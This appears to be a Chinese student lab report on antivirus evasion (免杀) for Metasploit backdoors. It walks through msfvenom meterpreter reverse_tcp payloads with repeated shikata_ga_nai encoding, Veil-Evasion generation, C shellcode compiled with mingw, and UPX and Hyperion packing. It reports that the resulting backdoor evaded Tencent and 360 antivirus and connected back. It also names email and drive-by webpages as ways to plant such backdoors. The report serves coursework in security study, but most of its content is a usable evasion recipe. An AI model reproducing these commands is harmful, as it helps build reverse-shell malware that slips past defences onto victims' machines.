实践内容(3.5分)
1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
1.2 通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
实践基础问题回答
(1)杀软是如何检测出恶意代码的?
(1)基于特征码的检测
(2)启发式恶意软件检测
(3)基于行为的检测
(2)免杀是做什么?
免杀:让安插的后门不被AV(Anti-virus)软件发现。一般是对恶意软件做处理,让它不被杀毒软件所检测。免杀也是渗透测试中需要使用到的技术。
(3)免杀的基本方法有哪些?
(1)改变特征码:对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码
(2 改变攻击行为:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。
实践内容(注明:试验截图中文件名的变化是因为测试网页不能出现2016字眼,所以测试网页文件名和使用文件名会存在出入。
)
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧:
(1)MSF生成.jar,.php文件测试
(2)测试上一次试验用MSF生成的后门
很显然效果不怎么样,
(这里在测试后门的时候我换了下名字,不然网站会报错)
(3)编译十次试试
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.78.128 LPORT=5313 -f exe > zch5313-1.exe
看起来并没有什么明显的改观。
(4)安装并使用Veil-Evasion
(1)安装:输入sudo apt-get install veil
,然后一路同意,耐心等待就行了。
(2)使用:
输入veil
,如图所示:
输入use evasion
:
输入命令:use python/meterpreter/rev_tcp.py
设置反弹连接IP:set LHOST 192.168.78.128
+设置端口:set LPORT 5313
+输入generate
生成文件+输入名字:playload5312
无法生成:
查了一下,发现是因为python这种语言在虚拟机里无法使用,故换了一种语言重新生成,即将命令use python/meterpreter/rev_tcp.py
换成了use c/meterpreter/rev_tcp.py
其余步骤相同(这里就不重新演示了)测试:
C语言调用Shellcode
(1)使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=92.168.78.128 LPORT=5313 -f c
生成一个c语言格式的shellcode数组,并将其赋值给一个20165313.c文件:
(2)使用命令:i686-w64-mingw32-g++ 20165313.c -o 20165313.exe
编译这个.c文件为可执行文件:
(3)测试(之前提到过,测试要改名,不然会报错):
看起来和evil效果差不多。
通过组合应用各种技术实现恶意代码免杀
加壳并测试:
很显然发现不了(果然不靠谱)
运行试试:
没有反应。
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
(1)利用MSF生成shellcode,编程并运行,生成可执行文件5313.exe
(2)利用UPX加壳。
(3)进入/usr/share/windows-binaries/hyperion/中利用加密壳Hyperion加密。
主机杀软:腾讯电脑管家13.019837.233
另一台主机
杀软:腾讯电脑管家13
实践总结与体会
离实战还缺些什么技术或步骤?
我觉得实战中最缺乏的步骤就是如何把后门程序植入到目标主机中,目前试验植入方法都是可知的,如何不可知的植入就成为了重点,例如利用邮件植入,挂马网页植入等。
试验收获
学习了如何使用veil,了解了如何利用免杀技术躲过杀软的检测并成功欺骗了360(果然不靠谱),同时也了解到了后门程序的可怕,矛和盾的较量还是得继续下去。
实践补充说明
实践结束后,我又重新利用后门程序测试了360杀毒是否安全,意外发现第一次能避过检查的程序被发现了,于是,我又在主机中生成了一个后门程序(利用MSF生成的数组和codeblocks软件),并将其放到kali中加壳,再次测试,可以回连,但运行一段时间后却会被查出,在网上找了找,并没有找到原因(猜想是360在监测主机程序时有延迟或者是运行后门程序一段时间才会使其被360侦测到)。所以这方面还是得加强学习。(虽然没有完全成功,但我觉得可以理解,毕竟360是一家专业的公司,而我们仅仅凭着几天的学习就能攻破其的防御,也并不现实,能让其延迟发现,我觉得已经有所成就了。)